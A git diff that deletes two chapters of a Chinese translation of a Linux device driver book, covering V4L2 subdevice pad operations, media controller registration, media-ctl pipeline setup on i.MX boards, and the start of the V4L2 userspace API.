也就是说,为了让两个实体真正交换数据,它们的 PAD 配置需要相同。 - -应用负责在整个管道上配置一致的参数,并确保连接的焊盘具有兼容的格式。 在`VIDIOC_STREAMON`时间检查管道中是否有不匹配的格式。 - -驱动负责根据所请求的(来自用户的)格式在流水线输入和/或输出处应用视频流水线中的每个块的配置。 - -以下面的简单数据流`sensor ---> CPHY ---> csi ---> isp ---> stream`为例。 - -为了使媒体框架能够在流式传输数据之前配置总线,驱动需要为`struct v4l2_subdev_pad_ops`结构中的媒体总线属性提供一些垫级设置器和获取器。 如果子设备驱动打算处理视频并与媒体框架集成,则该结构实现必须定义的 PAD 级操作。 以下是其定义: - -```sh -struct v4l2_subdev_pad_ops { -[...] -    int (*enum_mbus_code)(struct v4l2_subdev *sd, -                      struct v4l2_subdev_pad_config *cfg, -                      struct v4l2_subdev_mbus_code_enum *code); -    int (*enum_frame_size)(struct v4l2_subdev *sd, -                      struct v4l2_subdev_pad_config *cfg, -                      struct v4l2_subdev_frame_size_enum *fse); -    int (*enum_frame_interval)(struct v4l2_subdev *sd, -                  struct v4l2_subdev_pad_config *cfg, -                  struct v4l2_subdev_frame_interval_enum *fie); -    int (*get_fmt)(struct v4l2_subdev *sd, -                   struct v4l2_subdev_pad_config *cfg, -                   struct v4l2_subdev_format *format); -    int (*set_fmt)(struct v4l2_subdev *sd, -                   struct v4l2_subdev_pad_config *cfg, -                   struct v4l2_subdev_format *format); -#ifdef CONFIG_MEDIA_CONTROLLER -    int (*link_validate)(struct v4l2_subdev *sd, -                         struct media_link *link, -                         struct v4l2_subdev_format *source_fmt, -                         struct v4l2_subdev_format *sink_fmt); -#endif /* CONFIG_MEDIA_CONTROLLER */ -[...] -}; -``` - -以下是该结构中各成员的含义: - -* `init_cfg`:将焊盘配置初始化为默认值。 这是初始化`cfg->try_fmt`的正确位置,可以通过`v4l2_subdev_get_try_format()`获取。 -* `enum_mbus_code`:`VIDIOC_SUBDEV_ENUM_MBUS_CODE`ioctl 处理程序代码的回调。 枚举当前支持的数据格式。 此回调处理像素格式枚举。 -* `enum_frame_size`:`VIDIOC_SUBDEV_ENUM_FRAME_SIZE`ioctl 处理程序代码的回调。 枚举子设备支持的帧(图像)大小。 枚举当前支持的解决方案。 -* `enum_frame_interval`:`VIDIOC_SUBDEV_ENUM_FRAME_INTERVAL`ioctl 处理程序代码的回调。 -* `get_fmt`:`VIDIOC_SUBDEV_G_FMT`ioctl 处理程序代码的回调。 -* `set_fmt`:`VIDIOC_SUBDEV_S_FMT`ioctl 处理程序代码的回调。 设置输出数据格式和分辨率。 -* `get_selection`:`VIDIOC_SUBDEV_G_SELECTION`ioctl 处理程序代码的回调。 -* `set_selection`:`VIDIOC_SUBDEV_S_SELECTION`ioctl 处理程序代码的回调。 -* `link_validate`:由媒体控制器代码用来检查属于管道的链接是否可以用于流。 - -所有这些回调共有的参数是`cfg`,它属于`struct v4l2_subdev_pad_config`类型,用于存储子设备焊盘信息。 此结构在`include/uapi/linux/v4l2-mediabus.h`中定义如下: - -```sh -struct v4l2_subdev_pad_config { -    struct v4l2_mbus_framefmt try_fmt; -    struct v4l2_rect try_crop; -[...] -}; -``` - -在前面的代码块中,我们感兴趣的主要字段是`try_fmt`,它属于`struct v4l2_mbus_framefmt`类型。 该数据结构用于描述 PAD 级媒体总线格式,定义如下: - -```sh -struct v4l2_subdev_format { -    __u32 which; -    __u32 pad; -    struct v4l2_mbus_framefmt format; -[...] -}; -``` - -在前面的结构中,`which`是格式类型(Try 或 Active),`pad`是媒体 API 报告的焊盘号。 此字段由用户空间设置。 `format`表示总线上的帧格式。 这里的术语`format`表示媒体总线数据格式、帧宽度和帧高度的组合。 它属于`struct v4l2_mbus_framefmt`类型,其轮次定义如下: - -```sh -struct v4l2_mbus_framefmt { -    __u32 width; -    __u32 height; -    __u32 code; -    __u32 field; -    __u32 colorspace; -[...] -}; -``` - -在前面的总线帧格式数据结构中,只列出了与我们相关的字段。 `width`和`height`分别表示图像的宽度和高度。 `code`来自`enum v4l2_mbus_pixelcode`,表示数据格式码。 `field`表示使用的隔行扫描类型,应来自`enum v4l2_field`,`colorspace`表示来自`enum v4l2_colorspace`的数据的色彩空间。 - -现在,让我们更多地关注`get_fmt`和`set_fmt`回调。 它们分别获取和设置子设备焊盘上的数据格式。 这些 IOCTL 处理程序用于在图像流水线中的特定子设备焊盘处协商帧格式。 要设置当前格式化应用,请将`struct v4l2_subdev_format`的`.pad`字段设置为媒体 API 报告的所需焊盘编号,并将`which`字段(从`enum v4l2_subdev_format_whence`)设置为`V4L2_SUBDEV_FORMAT_TRY`或`V4L2_SUBDEV_FORMAT_ACTIVE`,并发出带有指向此结构的指针的`VIDIOC_SUBDEV_S_FMT`ioctl。 这个 ioctl 最终调用了`v4l2_subdev_pad_ops->set_fmt`回调。 如果将`which`设置为`V4L2_SUBDEV_FORMAT_TRY`,则驱动应使用参数中给出的`try`格式的值设置请求焊盘配置的`.try_fmt`字段。 但是,如果将`which`设置为`V4L2_SUBDEV_FORMAT_ACTIVE`,则驱动必须将配置应用到设备。 在这种情况下,通常将请求的“活动”格式存储在驱动状态结构中,并在管道启动流时将其应用于底层设备。 这样,将格式配置实际应用于设备的正确位置是在流开始时调用的回调中,例如`v4l2_subdev_video_ops.s_stream`。 以下是来自 rcar CSI 驱动的示例: - -```sh -static int rcsi2_set_pad_format(struct v4l2_subdev *sd, -                            struct v4l2_subdev_pad_config *cfg, -                            struct v4l2_subdev_format *format) -{ -    struct v4l2_mbus_framefmt *framefmt; -    /* retrieve the private data structure */ -    struct rcar_csi2 *priv = sd_to_csi2(sd); -    [...] -    /* Store the requested format so that it can be applied to -     * the device when the pipeline starts -     */ -    if (format->which == V4L2_SUBDEV_FORMAT_ACTIVE) { -        priv->mf = format->format; -    } else { /* V4L2_SUBDEV_FORMAT_TRY */ -        /* set the .try_fmt of this pad config with the -         * value of the requested "try" format -         */ -        framefmt = v4l2_subdev_get_try_format(sd, cfg, 0); -        *framefmt = format->format; -        /* driver is free to update any format->* field */ -        [...] -    } -    return 0; -} -``` - -另外,请注意,驱动可以自由地将请求格式的值更改为它实际支持的值。 然后由应用检查它,并根据驱动授予的格式调整其逻辑。 修改这些`try`格式将保持设备状态不变。 - -另一方面,当涉及到检索当前格式时,应用应该执行与前面相同的操作,并发出`VIDIOC_SUBDEV_G_FMT`ioctl。 此 ioctl 将最终调用`v4l2_subdev_pad_ops->get_fmt`回调。 驱动使用当前活动的格式值或最近存储的`try`格式(大部分时间在驱动状态结构中)填充`format`字段的成员: - -```sh -static int rcsi2_get_pad_format(struct v4l2_subdev *sd, -                            struct v4l2_subdev_pad_config *cfg, -                            struct v4l2_subdev_format *format) -{ -    struct rcar_csi2 *priv = sd_to_csi2(sd); -    if (format->which == V4L2_SUBDEV_FORMAT_ACTIVE) -        format->format = priv->mf; -    else -      format->format = *v4l2_subdev_get_try_format(sd, cfg, 0); -    return 0; -} -``` - -显然,在第一次将焊盘配置的`.try_fmt`字段传递给`get`回调之前,它应该已经被初始化,而`v4l2_subdev_pad_ops.init_cfg`回调是进行此初始化的正确位置,如下例所示: - -```sh -/* - * Initializes the TRY format to the ACTIVE format on all pads - * of a subdev. Can be used as the .init_cfg pad operation. - */ -int imx_media_init_cfg(struct v4l2_subdev *sd, -                        struct v4l2_subdev_pad_config *cfg) -{ -    struct v4l2_mbus_framefmt *mf_try; -    struct v4l2_subdev_format format; -    unsigned int pad; -    int ret; -    for (pad = 0; pad < sd->entity.num_pads; pad++) { -        memset(&format, 0, sizeof(format)); -       format.pad = pad; -       format.which = V4L2_SUBDEV_FORMAT_ACTIVE; -       ret = v4l2_subdev_call(sd, pad, get_fmt, NULL, &format); -       if (ret) -            continue; -        mf_try = v4l2_subdev_get_try_format(sd, cfg, pad); -        *mf_try = format.format; -    } -    return 0; -} -``` - -重要音符 - -支持的格式列表可以在内核源代码的`include/uapi/linux/videodev2.h`中找到,它们的部分文档可以在以下链接中找到:[https://linuxtv.org/downloads/v4l-dvb-apis/userspace-api/v4l/subdev-formats.html](https://linuxtv.org/downloads/v4l-dvb-apis/userspace-api/v4l/subdev-formats.html)。 - -现在我们已经熟悉了媒体的概念,我们可以学习 how,最终通过使用适当的 API 注册媒体设备来使其成为系统的一部分。 - -### 注册媒体设备 - -驱动通过`media_device_register()`宏调用`__media_device_register()`来注册媒体设备实例,并通过调用`media_device_unregister()`来注销它们。 注册成功后,将创建名为`media[0-9] +`的字符设备。 设备主号和次号是动态的。 `media_device_register()`接受指向要注册的媒体设备的指针,如果成功则返回`0`,如果出错则返回负错误代码。 - -如前所述,最好从根通知器的`.complete`回调中在中注册媒体设备,以确保实际的媒体设备只有在其所有实体都被探测之后才会注册。 以下摘录自 TI OMAP3 ISP 媒体驱动(完整代码可在内核源代码的`drivers/media/platform/omap3isp/isp.c`中找到): - -```sh -static int isp_subdev_notifier_complete( -                             struct v4l2_async_notifier *async) -{ -    struct isp_device *isp = -              container_of(async, struct isp_device, notifier); -[...] -    return media_device_register(&isp->media_dev); -} -static const -struct v4l2_async_notifier_operations isp_subdev_notifier_ops = { -    .complete = isp_subdev_notifier_complete, -}; -``` - -前面的代码显示了如何通过`media_device_register()`方法利用根通知器的`.complete`回调来注册最终的媒体设备。 - -既然媒体设备是系统的一部分,那么现在是利用它的时候了,特别是从用户空间。 现在让我们看看如何从命令行控制媒体设备并与之交互。 - -## 来自用户空间的媒体控制器 - -虽然仍然是流接口,但`/dev/video0`不再是默认的管道中心,因为它被`/dev/mediaX`包装。 流水线可以通过媒体节点(`/dev/media*`)来配置,并且可以通过视频节点(`/dev/video*`)来执行控制操作,例如流的开/关()。 - -### 使用 media-ctl(v4l-utils 包) - -来自`v4l-utils`包的`media-ctl`应用是一个用户空间应用,它使用 Linux 媒体控制器 API 来配置管道。 以下是要与其配合使用的标志: - -* `--device `指定媒体设备(默认情况下为`/dev/media0`)。 -* `--entity `打印与给定实体关联的设备名称。 -* `--set-v4l2 `提供要设置的格式的逗号分隔列表。 -* `--get-v4l2 `在给定焊盘上打印活动格式。 -* `--set-dv `在给定焊盘上配置 DV 计时。 -* `--interactive`交互修改链接。 -* `--links `提供要设置的链接描述符列表(以逗号分隔)。 -* `--known-mbus-fmts`列出已知格式及其数值。 -* `--print-topology`打印设备拓扑或简称`-p`。 -* `--reset`将所有链接重置为非活动。 - -也就是说,硬件媒体管道的基本配置步骤如下: - -1. 使用`media-ctl --reset`重置所有链接。 -2. 使用`media-ctl --links`配置链路。 -3. 用`media-ctl --set-v4l2`配置焊盘格式。 -4. 使用`/dev/video*`设备上的`v4l2-ctl`捕获帧配置子设备属性。 - -使用`media-ctl --links`将实体源焊盘链接到实体宿焊盘应遵循以下模式: - -```sh -media-ctl --links\ -": -> :[] -``` - -在前面的行中,`flags`可以是`0`(非活动)或`1`(活动)。 此外,要查看媒体总线的当前设置,请使用以下命令: - -```sh -$ media-ctl --print-topology -``` - -在某些系统上,介质设备`0`可能不是默认设备,在这种情况下,您应该使用以下设备: - -```sh -$ media-ctl --device /dev/mediaN --print-topology -``` - -前面的命令将打印与指定媒体设备关联的媒体拓扑。 - -请注意,`--print-topology`只是将媒体拓扑以 ASCII 格式转储到控制台。 但是,通过生成其`dot`表示,将该表示更改为更人性化的图形图像,可以更好地表示此拓扑。 以下是要使用的命令: - -```sh -$ media-ctl --print-dot > graph.dot -$ dot -Tpng graph.dot > graph.png -``` - -例如,为了设置媒体管道,已在 UDOO 四元板上运行以下命令。 主板附带 i.MX6 四核和插入 MIPI CSI-2 接口的 OV5640 摄像头: - -```sh -# media-ctl -l "'ov5640 2-003c':0 -> 'imx6-mipi-csi2':0[1]" -# media-ctl -l "'imx6-mipi-csi2':2 -> 'ipu1_csi1':0[1]" -# media-ctl -l "'ipu1_csi1':1 -> 'ipu1_ic_prp':0[1]" -# media-ctl -l "'ipu1_ic_prp':1 -> 'ipu1_ic_prpenc':0[1]" -# media-ctl -l "'ipu1_ic_prpenc':1 -> 'ipu1_ic_prpenc capture':0[1]" -``` - -下图表示前面的设置: - -![Figure 8.3 – Graph representation of a media device ](img/Figure_8.3_B10985.jpg) - -图 8.3-媒体设备的图形表示 - -如您所见,它有助于可视化硬件组件。 以下是对这些生成的图像的描述: - -* 虚线显示个可能的连接。 您可以使用这些信息来确定可能性。 -* 实线表示活动连接。 -* 绿色方框显示媒体实体。 -* 黄色方框显示**Video4Linux**(**V4L**)端点。 - -之后,您可以看到实线与前面完成的设置完全对应。 我们有五条实线,对应于用于配置介质设备的命令数量。 以下是这些命令的含义: - -* `media-ctl -l "'ov5640 2-003c':0 -> 'imx6-mipi-csi2':0[1]"`表示将摄像机传感器(`'ov5640 2-003c':0`)的输出焊盘编号`0`链接到 MIPI CSI-2 输入焊盘编号`0`(`'imx6-mipi-csi2':0`),并将该链接设置为活动(`[1]`)。 -* `media-ctl -l "'imx6-mipi-csi2':2 -> 'ipu1_csi1':0[1]"`表示将 MIPI CSI-2 实体(`'imx6-mipi-csi2':2`)的输出焊盘编号`2`链接到 IPU 捕获传感器接口#1(`' ipu1_csi1':0`)的输入焊盘编号`0`,并将该链接设置为活动(`[1]`)。 -* 相同的解码规则适用于其他命令行,直到最后一个命令行`media-ctl -l "'ipu1_ic_prpenc':1 -> 'ipu1_ic_prpenc capture':0[1]"`,这意味着将`ipu1`的图像转换器预处理编码实体(`'ipu1_ic_prpenc':1`)的输出焊盘号`1`链接到捕获接口输入焊盘号`0`,并将该链接设置为活动。 - -为了理解实体、链接和焊盘的概念,请毫不犹豫地返回图像并多次阅读这些描述。 - -重要音符 - -如果您的目标上没有安装`dot`软件包,您可以将`.dot`文件下载到您的主机上(假设主机上安装了该软件包),并将其转换为映像。 - -#### 带有 OV2680 示例的 WaRP7 - -WaRP7 是基于 i.MX7 的电路板,与 i.MX5/6 系列不同,它不包含 IPU。 因此,执行捕获帧操作或操作的功能较少。 I.MX7 图像采集链由三个单元组成:摄像机审查接口、视频多路复用器和 MIPI CSI-2 接收器,它们代表媒体实体,如下所述: - -* `imx7-mipi-csi2`:这是 MIPI CSI-2 接收器实体。 它有一个接收板,用于接收来自 MIPI CSI-2 相机传感器的像素数据。 它有一个源垫,对应于虚拟通道`0`。 -* `csi_mux`:这是视频多路复用器。 它有两个接收器垫可供选择,无论是带并行接口的摄像头传感器还是 MIPI CSI-2 虚拟通道`0`。 它只有一个源板,路由到 CSI。 -* `csi`:CSI 允许芯片直接连接到外部 CMOS 图像传感器。 CSI 可以直接与并行和 MIPI CSI-2 总线接口。 它具有 256 x 64 FIFO 用于存储接收到的图像像素数据,嵌入式 DMA 控制器用于通过 AHB 总线从 FIFO 传输数据。 该实体有一个接收来自`csi_mux`实体的接收板和一个直接将视频帧路由到内存缓冲区的单一源板。 此焊盘被路由到捕获设备节点: - -```sh -                                      |\ -MIPI Camera Input --> MIPI CSI-2 -- > | \ -                                      |  \ -                                      | M | -                                      | U | --> CSI --> Capture -                                      | X | -                                      |  / -Parallel Camera Input --------------> | / -                                      |/ -``` - -在该平台上,OV2680 MIPI CSI-2 模块连接到内部 MIPI CSI-2 接收器。 以下示例配置输出为 800 x 600 的 BGGR 10 位拜耳格式的视频捕获管道: - -```sh -# Setup links -media-ctl --reset -media-ctl -l "'ov2680 1-0036':0 -> 'imx7-mipi-csis.0':0[1]" -media-ctl -l "'imx7-mipi-csis.0':1 -> 'csi_mux':1[1]" -media-ctl -l "'csi_mux':2 -> 'csi':0[1]" -media-ctl -l "'csi':1 -> 'csi capture':0[1]" -``` - -前面的几行可以合并到一个命令中,如下所示: - -```sh -media-ctl -r -l '"ov2680 1-0036":0->"imx7-mipi-csis.0":0[1], \ -                 "imx7-mipi-csis.0":1 ->"csi_mux":1[1], \ -                 "csi_mux":2->"csi":0[1], \ -                 "csi":1->"csi capture":0[1]' -``` - -在前面的命令中,请注意以下事项: - -* `-r`表示将所有链接重置为非活动。 -* `-l`在逗号分隔的链接描述符列表中设置链接。 -* `"ov2680 1-0036":0->"imx7-mipi-csis.0":0[1]`将摄像机传感器的输出焊盘编号`0`链接到 MIPI CSI-2 输入焊盘编号`0`,并将此链接设置为激活。 -* `"csi_mux":2->"csi":0[1]`将`csi_mux`的输出焊盘编号`2`链接到`csi`输入焊盘编号`0`,并将该链接设置为激活。 -* `"csi":1->"csi capture":0[1]`链接`csi`的输出焊盘编号`1`以捕获接口的输入焊盘编号`0`,并将此链接设置为活动。 - -为了在每个焊盘上配置格式,我们可以使用以下命令: - -```sh -# Configure pads for pipeline -media-ctl -V "'ov2680 1-0036':0 [fmt:SBGGR10_1X10/800x600 field:none]" -media-ctl -V "'csi_mux':1 [fmt:SBGGR10_1X10/800x600 field:none]" -media-ctl -V "'csi_mux':2 [fmt:SBGGR10_1X10/800x600 field:none]" -media-ctl \ -      -V "'imx7-mipi-csis.0':0 [fmt:SBGGR10_1X10/800x600 field:none]" -media-ctl -V "'csi':0 [fmt:SBGGR10_1X10/800x600 field:none]" -``` - -同样,可以将前面的命令行合并到单个命令中,如下所示: - -```sh -media-ctl \ -    -f '"ov2680 1-0036":0 [SGRBG10 800x600 (32,20)/800x600], \ -        "csi_mux":1 [SGRBG10 800x600], \ -        "csi_mux":2 [SGRBG10 800x600], \ -        "mx7-mipi-csis.0":2 [SGRBG10 800x600], \ -        "imx7-mipi-csi.0":0 [SGRBG10 800x600], \ -        "csi":0 [UYVY 800x600]' -``` - -前面的命令行可以翻译如下: - -* `-f`:将焊盘格式设置为逗号分隔的格式描述符列表。 -* `"ov2680 1-0036":0 [SGRBG10 800x600 (32,20)/800x600]`:将相机传感器垫编号`0`格式设置为分辨率(拍摄大小)为 800 x 600 的原始拜耳 10 位图像。 通过指定裁剪矩形设置允许的最大传感器窗口宽度。 -* `"csi_mux":1 [SGRBG10 800x600]`:将`csi_mux`焊盘编号`1`格式设置为分辨率为 800 x 600 的原始拜耳 10 位图像。 -* `"csi_mux":2 [SGRBG10 800x600]`:将`csi_mux`焊盘编号`2`格式设置为分辨率为 800 x 600 的原始拜耳 10 位图像。 -* `"csi":0 [UYVY 800x600]`:将`csi`焊盘编号`0`格式设置为分辨率为 800 x 600 的`YUV4:2:2`图像。 - -`video_mux`、`csi`和`mipi-csi-2`都是 SoC 的一部分,因此它们在供应商`dtsi`文件(即内核源代码中的`arch/arm/boot/dts/imx7s.dtsi`)中声明。 `video_mux`声明如下: - -```sh -gpr: iomuxc-gpr@30340000 { -[...] -    video_mux: csi-mux { -        compatible = "video-mux"; -        mux-controls = <&mux 0>; -        #address-cells = <1>; -        #size-cells = <0>; -        status = "disabled"; -        port@0 { -            reg = <0>; -        }; -        port@1 { -            reg = <1>; -            csi_mux_from_mipi_vc0: endpoint { -                remote-endpoint = <&mipi_vc0_to_csi_mux>; -            }; -        }; -        port@2 { -            reg = <2>; -           csi_mux_to_csi: endpoint { -               remote-endpoint = <&csi_from_csi_mux>; -           }; -        }; -    }; -}; -``` - -在前面的代码块中,我们有三个端口,其中端口`1`是`2`连接到远程端点。 `csi`和`mipi-csi-2`声明如下: - -```sh -mipi_csi: mipi-csi@30750000 { -    compatible = "fsl,imx7-mipi-csi2"; -[...] -    status = "disabled"; -    port@0 { -        reg = <0>; -    }; -    port@1 { -        reg = <1>; -        mipi_vc0_to_csi_mux: endpoint { -            remote-endpoint = <&csi_mux_from_mipi_vc0>; -        }; -    }; -}; -[...] -csi: csi@30710000 { -    compatible = "fsl,imx7-csi"; [...] -    status = "disabled"; -    port { -        csi_from_csi_mux: endpoint { -            remote-endpoint = <&csi_mux_to_csi>; -        }; -    }; -}; -``` - -从`csi`和`mipi-csi-2`节点,我们可以看到它们如何链接到`video_mux`节点中的远程端口。 - -重要音符 - -关于`video_mux`绑定的更多信息可以在内核源代码中的`Documentation/devicetree/bindings/media/video-mux.txt`中找到。 - -但是,大多数供应商声明的节点在默认情况下是禁用的,需要从电路板文件(实际上是`dts`文件)中启用。 这就是在下面的代码块中执行的操作。 此外,摄像头传感器是电路板的一部分,而不是 SoC。 因此,它需要在 board`dts`文件中声明,该文件在内核源代码中为`arch/arm/boot/dts/imx7s-warp.dts`。 以下内容摘录如下: - -```sh -&video_mux { -    status = "okay"; -}; -&mipi_csi { -    clock-frequency = <166000000>; -    fsl,csis-hs-settle = <3>; -    status = "okay"; -    port@0 { -        reg = <0>; -        mipi_from_sensor: endpoint { -            remote-endpoint = <&ov2680_to_mipi>; -            data-lanes = <1>; -        }; -    }; -}; -&i2c2 { -    [...] -    status = "okay"; -    ov2680: camera@36 { -        compatible = "ovti,ov2680"; -        [...] -    port { -        ov2680_to_mipi: endpoint { -            remote-endpoint = <&mipi_from_sensor>; -            clock-lanes = <0>; -            data-lanes = <1>; -        }; -    }; -}; -``` - -重要音符 - -在内核源代码的`Documentation/devicetree/bindings/media/imx7-csi.txt`和`Documentation/devicetree/bindings/media/imx7-mipi-csi2.txt`中都可以找到有关 i.MX7 实体绑定的更多信息。 - -在此之后,可以开始流。 `v4l2-ctl`工具可用于选择传感器支持的任何分辨率: - -```sh -root@imx7s-warp:~# media-ctl -p -Media controller API version 4.17.0 -Media device information ------------------------- -driver          imx7-csi -model           imx-media -serial -bus info -hw revision     0x0 -driver version  4.17.0 -Device topology -- entity 1: csi (2 pads, 2 links) -            type V4L2 subdev subtype Unknown flags 0 -            device node name /dev/v4l-subdev0 -        pad0: Sink -                [fmt:SBGGR10_1X10/800x600 field:none] -                <- "csi-mux":2 [ENABLED] -        pad1: Source -                [fmt:SBGGR10_1X10/800x600 field:none] -                -> "csi capture":0 [ENABLED] -- entity 4: csi capture (1 pad, 1 link) -            type Node subtype V4L flags 0 -            device node name /dev/video0 -        pad0: Sink -                <- "csi":1 [ENABLED] -- entity 10: csi-mux (3 pads, 2 links) -             type V4L2 subdev subtype Unknown flags 0 -             device node name /dev/v4l-subdev1 -        pad0: Sink -                [fmt:unknown/0x0] -        pad1: Sink -               [fmt:unknown/800x600 field:none] -                <- "imx7-mipi-csis.0":1 [ENABLED] -        pad2: Source -                [fmt:unknown/800x600 field:none] -                -> "csi":0 [ENABLED] -- entity 14: imx7-mipi-csis.0 (2 pads, 2 links) -             type V4L2 subdev subtype Unknown flags 0 -             device node name /dev/v4l-subdev2 -        pad0: Sink -                [fmt:SBGGR10_1X10/800x600 field:none] -                <- "ov2680 1-0036":0 [ENABLED] -        pad1: Source -                [fmt:SBGGR10_1X10/800x600 field:none] -                -> "csi-mux":1 [ENABLED] -- entity 17: ov2680 1-0036 (1 pad, 1 link) -             type V4L2 subdev subtype Sensor flags 0 -             device node name /dev/v4l-subdev3 -        pad0: Source -                [fmt:SBGGR10_1X10/800x600 field:none] -                -> "imx7-mipi-csis.0":0 [ENABLED] -``` - -按照数据流从左到右的顺序,我们可以这样解读前面的控制台日志: - -* `-> "imx7-mipi-csis.0":0 [ENABLED]`:此源焊盘将数据馈送到其右侧的实体,即`"imx7-mipi-csis.0":0`。 -* `<- "ov2680 1-0036":0 [ENABLED]`:此接收板由其左侧的实体(即`"ov2680 1-0036":0`)馈送(即,从其查询数据)。 - -我们现在已经完成了媒体控制器框架的所有方面。 我们从它的体系结构开始,然后描述了构成它的数据结构,然后详细了解了它的 API。 最后,我们从用户空间使用它,以便利用模式媒体管道。 - -# 摘要 - -在本章中,我们介绍了 V4L2 异步接口,该接口简化了视频桥和子设备驱动探测。 这对于本质上异步和无序的设备注册系统非常有用,例如扁平化设备树驱动探测。 此外,我们还处理了媒体控制器框架,该框架允许利用 V4L2 视频管道。 到目前为止,我们看到的是内核空间。 - -在下一章中,我们将了解如何从用户空间处理 V4L2 设备,从而利用其设备驱动提供的功能。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/09.md b/docs/master-linux-device-driver-dev/09.md deleted file mode 100644 index a67ae6c8..00000000 --- a/docs/master-linux-device-driver-dev/09.md +++ /dev/null @@ -1,1040 +0,0 @@ -# 九、从用户空间利用 V4L2API - -设备驱动的主要目的是控制和利用底层硬件,同时向用户展示功能。 这些用户可以是在用户空间或其他内核驱动中运行的应用。 虽然前两章讨论的是 V4L2 设备驱动,但在本章中,我们将学习如何利用内核公开的 V4L2 设备功能。 我们将从描述和枚举用户空间 V4L2API 开始,然后学习如何利用这些 API 从传感器获取视频数据,包括破坏传感器属性。 - -本章将介绍以下主题: - -* V4L2 用户空间 API -* 来自用户空间的视频设备属性管理 -* 来自用户空间的缓冲区管理 -* V4L2 用户空间工具 - -# 技术要求 - -为了充分利用本章,您需要以下内容: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 从用户空间介绍 V4L2 - -编写设备驱动的主要目的是简化应用对底层设备的控制和使用。 用户空间处理 V4L2 设备有两种方式:一种是使用一体化实用程序(如`GStreamer`及其`gst-*`工具),另一种是使用用户空间 V4L2API 编写专用应用。 在本章中,我们只介绍代码 de,因此我们将介绍如何编写使用 V4L2API 的应用。 - -## V4L2 用户空间 API - -V4L2 用户空间 API 减少了函数数量和大量数据结构,所有这些都是在`include/uapi/linux/videodev2.h`中定义的。 在这一节中,我们将尝试描述其中最重要的--或者更确切地说,是最常用的。 您的代码应包含以下标题: - -```sh -#include -``` - -该接口依赖于以下函数: - -* `open()`:打开视频设备 -* 发布帖子:关闭视频设备 -* `ioctl()`:向显示驱动发送 ioctl 命令 -* `mmap()`:将驱动分配的缓冲区内存映射到用户空间 -* `read()`或`write()`,具体取决于流方法 - -这组精简的 API 通过大量的 ioctl 命令进行扩展,其中最重要的命令如下: - -* `VIDIOC_QUERYCAP`:用于查询驱动能力。 人们过去常说它是用来查询设备的功能的,但事实并非如此,因为设备可能能够执行驱动中没有实现的功能。 用户空间传递一个`struct v4l2_capability`结构,视频驱动将用相关信息填充该结构。 -* `VIDIOC_ENUM_FMT`:用于枚举驱动支持的图像格式。 驱动用户空间传递一个`struct v4l2_fmtdesc`结构,驱动将使用相关信息填充该结构。 -* `VIDIOC_G_FMT`:对于采集设备,用于获取当前的图像格式。 但是,对于显示设备,您可以使用它来获取当前的显示窗口。 在这两种情况下,用户空间都会传递一个`struct v4l2_format`结构,驱动将用相关信息填充该结构。 -* 当您不确定要提交给设备的格式时,应使用`VIDIOC_TRY_FMT`。 这用于验证捕获设备的新图像格式或新显示窗口,具体取决于输出(显示)设备。 用户空间传递带有它想要应用的属性的`struct v4l2_format`结构,如果不支持,驱动可以更改给定值。 然后,应用应该检查授予了什么。 -* `VIDIOC_S_FMT`用于设置捕获设备的新图像格式或显示器(输出设备)的新显示窗口。 如果用户空间传递的值不受支持,驱动可能会更改这些值。 如果没有首先使用`VIDIOC_TRY_FMT`,应用应该检查授予了什么。 -* `VIDIOC_CROPCAP`用于根据当前图像大小和当前显示面板大小获取默认裁剪矩形。 驱动填充`struct v4l2_cropcap`结构。 -* `VIDIOC_G_CROP`用于获取当前的裁剪矩形。 驱动填充`struct v4l2_crop`结构。 -* `VIDIOC_S_CROP`用于设置新的裁剪矩形。 驱动填充`struct v4l2_crop`结构。 应用应该检查授予了什么。 -* `VIDIOC_REQBUFS`:此 ioctl 用于请求多个缓冲区,这些缓冲区稍后可以进行内存映射。 驱动填充`struct v4l2_requestbuffers`结构。 由于驱动分配的缓冲区数可能比实际请求的缓冲区数多或少,因此应用应该检查实际授予了多少缓冲区。 在此之后还没有缓冲区排队。 -* `VIDIOC_QUERYBUF`ioctl 用于获取缓冲区的信息,`mmap()`系统调用可以使用这些信息将缓冲区映射到用户空间。 驱动填充`struct v4l2_buffer`结构。 -* `VIDIOC_QBUF`用于通过传递与缓冲区相关联的`struct v4l2_buffer`结构来对该缓冲区进行排队。 在此 ioctl 的执行路径上,驱动会将此缓冲区添加到其缓冲区列表中,以便在前面没有挂起的排队缓冲区时将其填满。 一旦缓冲区被填满,它就会被传递到 V4L2 内核,该内核维护自己的列表(即就绪缓冲区列表),并将其从驱动的 DMA 缓冲区列表中移出。 -* `VIDIOC_DQBUF`用于通过传递与缓冲区相关的`struct v4l2_buffer`结构,将已填满的缓冲区(从 V4L2 的输入设备就绪缓冲区列表中)或显示的(输出设备)缓冲区出列。 如果没有准备好的缓冲区,这将阻塞,除非`O_NONBLOCK`与`open()`一起使用,在这种情况下,`VIDIOC_DQBUF`将立即返回并返回`EAGAIN`错误代码。 只有在调用了`STREAMON`之后才能调用`VIDIOC_DQBUF`。 同时,在`STREAMOFF`之后调用此 ioctl 将返回`-EINVAL`。 -* `VIDIOC_STREAMON`用于打开流。 在此之后,将呈现图像中的任何`VIDIOC_QBUF`结果。 -* `VIDIOC_STREAMOFF`用于关闭流。 此 ioctl 删除所有缓冲区。 它实际上会刷新缓冲区队列。 - -除了我们刚才列举的那些命令之外,还有更多的 ioctl 命令。 实际上,内核的`v4l2_ioctl_ops`数据结构中的 ioctls 至少和 op 一样多。 但是,前面的 ioctls 足以更深入地了解 V4L2 用户空间 API。 在本节中,我们不会详细介绍每个数据结构。 然后,您应该保持打开`include/uapi/linux/videodev2.h`文件(也可以从[https://elixir.bootlin.com/linux/v4.19/source/include/uapi/linux/videodev2.h](https://elixir.bootlin.com/linux/v4.19/source/include/uapi/linux/videodev2.h)获得),因为它包含所有 V4L2API 和数据结构。 也就是说,下面的伪代码显示了使用 V4L2API 从用户空间抓取视频的典型 ioctl 序列: - -```sh -open() -int ioctl(int fd, VIDIOC_QUERYCAP,           struct v4l2_capability *argp) -int ioctl(int fd, VIDIOC_S_FMT, struct v4l2_format *argp) -int ioctl(int fd, VIDIOC_S_FMT, struct v4l2_format *argp) -/* requesting N buffers */ -int ioctl(int fd, VIDIOC_REQBUFS,           struct v4l2_requestbuffers *argp) 